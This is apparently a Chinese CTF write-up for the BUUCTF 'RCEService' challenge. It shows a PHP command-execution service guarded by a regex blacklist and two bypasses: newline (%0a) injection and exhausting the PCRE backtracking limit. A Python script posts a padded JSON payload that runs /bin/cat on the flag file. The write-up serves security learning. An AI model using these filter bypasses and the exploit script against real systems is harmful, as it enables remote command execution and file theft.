PHP正则表达式之RCEService回溯


Posted in PHP onApril 11, 2022

PHP正则表达式之RCEService回溯

打开题目输入JSON类型的cmd后,尝试读取index.php的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,只能看一下别人的wp,发现别人以来都是审查源码,我就奇怪了,源码怎么弄来的,看了很多wp发现应该是比赛的时候直接给的源码,但是buu平台忘记加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正则,看来这题是要绕过正则执行cmd命令了,这么多黑名单函数应该不会让我们找漏网之鱼吧,不会吧不会吧

我们看到正则表达式没有添加修饰符,那我们可以利用多行匹配这个漏洞了

PHP正则表达式之RCEService回溯

 在这里我们可以利用%0a换行符进行绕过正则匹配,而且可以看到要有修饰符s才会让.*匹配换行符,因此我们这里可以利用我们之前的ls试试能不能成功

PHP正则表达式之RCEService回溯

发现依然可以出来index.php;源代码中编译了环境变量path(我以为只是单纯暗示我们这个目录),我们就在那个目录下看看 

PHP正则表达式之RCEService回溯

发现了flag文件,我用nl,cat,more,less等命令都读取不出来 ,查资料发现,系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

PHP正则表达式之RCEService回溯

 第二种办法也就是正则表达式回溯过多导致false,说实话我还是第一次听到正则的回溯问题

PHP利用PCRE回溯次数限制绕过某些安全限制

简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多

例子

PHP正则表达式之RCEService回溯

PHP正则表达式之RCEService回溯

 经过自己试试果然只能回溯一百万次

'/^.*

正则表达式最前面的匹配字符,^代表首个字母,'.'代表除换行符之外的所有字符,*代表前面那个表达式重复执行多次,因此他这里直接把我们的payload全部匹配完毕,导致后面的匹配不到字符了,只能一个个回溯

PHP正则表达式之RCEService回溯

再将后面的匹配一下字符,可以发现目前写的小写字母都没有过滤掉,因为十六进制\x00-\x1f换算成十进制并没有到小写字母的ascii值那个地方,因此我们可以任意利用一个小写字母×个一百万次,就可以让正则表达式直接失败

PHP正则表达式之RCEService回溯

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

Tags in this post...

PHP 相关文章推荐
PHP5/ZendEngine2的改进
Oct 09 PHP
php实现的仿阿里巴巴实现同类产品翻页
Dec 11 PHP
浅析php过滤html字符串,防止SQL注入的方法
Jul 02 PHP
php中出现空白页的原因及解决方法汇总
Jul 08 PHP
Yii分页用法实例详解
Dec 04 PHP
DEDECMS首页调用图片集里的多张图片
Jun 05 PHP
php判断两个日期之间相差多少个月份的方法
Jun 18 PHP
PHP环境中Memcache的安装和使用
Nov 05 PHP
php基于dom实现读取图书xml格式数据的方法
Feb 03 PHP
visual studio code 调试php方法(图文详解)
Sep 15 PHP
PHP二维数组分页2种实现方法解析
Jul 09 PHP
PHP isset()及empty()用法区别详解
Aug 29 PHP
微信小程序结合ThinkPHP5授权登陆后获取手机号
PHP遍历数组的6种方式总结
Nov 17 #PHP
关于PHP数组迭代器的使用方法实例
php双向队列实例讲解
Nov 17 #PHP
如何解决php-fpm启动不了问题
Nov 17 #PHP
一次项目中Thinkphp绕过禁用函数的实战记录
php修改word的实例方法
Nov 17 #PHP
You might like
将RTF格式的文件转成HTML并在网页中显示的代码
2006/10/09 PHP
PHP打开和关闭文件操作函数总结
2014/11/18 PHP
PHP实现的分页类定义与用法示例
2017/07/05 PHP
JavaScript 设计模式学习 Singleton
2009/07/27 Javascript
JavaScript setTimeout和setInterval的使用方法 说明
2010/03/25 Javascript
jQuery的实现原理的模拟代码 -4 重要的扩展函数 extend
2010/08/03 Javascript
javaScript NameSpace 简单说明介绍
2013/07/18 Javascript
基于jquery的手风琴图片展示效果实现方法
2014/12/16 Javascript
JavaScript的内存释放问题详解
2015/01/21 Javascript
基于jQuery实现Div窗口震动特效代码-代码简单
2015/08/28 Javascript
理解AngularJs指令
2015/12/10 Javascript
动态设置form表单的action属性的值的简单方法
2016/05/25 Javascript
终于实现了!精彩的jquery弹幕效果
2016/07/18 Javascript
从零开始学习Node.js系列教程之设置HTTP头的方法示例
2017/04/13 Javascript
如何从零开始利用js手写一个Promise库详解
2018/04/19 Javascript
小程序实现发表评论功能
2018/07/06 Javascript
详解如何用VUE写一个多用模态框组件模版
2018/09/27 Javascript
vue 中 命名视图的用法实例详解
2019/08/14 Javascript
Nodejs监控事件循环异常示例详解
2019/09/22 NodeJs
vue 实现tab切换保持数据状态
2020/07/21 Javascript
微信小程序实现多行文字滚动
2020/11/18 Javascript
致Python初学者 Anaconda入门使用指南完整版
2018/04/05 Python
django echarts饼图数据动态加载的实例
2019/08/12 Python
Python爬虫使用浏览器cookies:browsercookie过程解析
2019/10/22 Python
python源文件的字符编码知识点详解
2021/03/04 Python
波兰数码相机及配件网上商店: Cyfrowe.pl
2017/06/19 全球购物
美国折衷生活方式品牌:Robert Graham
2018/07/13 全球购物
大学生自我鉴定范文
2013/12/28 职场文书
政法学院毕业生求职信
2014/02/28 职场文书
保护环境的标语
2014/06/09 职场文书
乡镇党的群众路线教育实践活动制度建设计划
2014/11/03 职场文书
会计稽核岗位职责
2015/04/13 职场文书
2015年车间安全管理工作总结
2015/05/13 职场文书
党小组鉴定意见
2015/06/02 职场文书
Vue如何实现组件间通信
2021/05/15 Vue.js
SSM VUE Axios详解
2021/10/05 Vue.js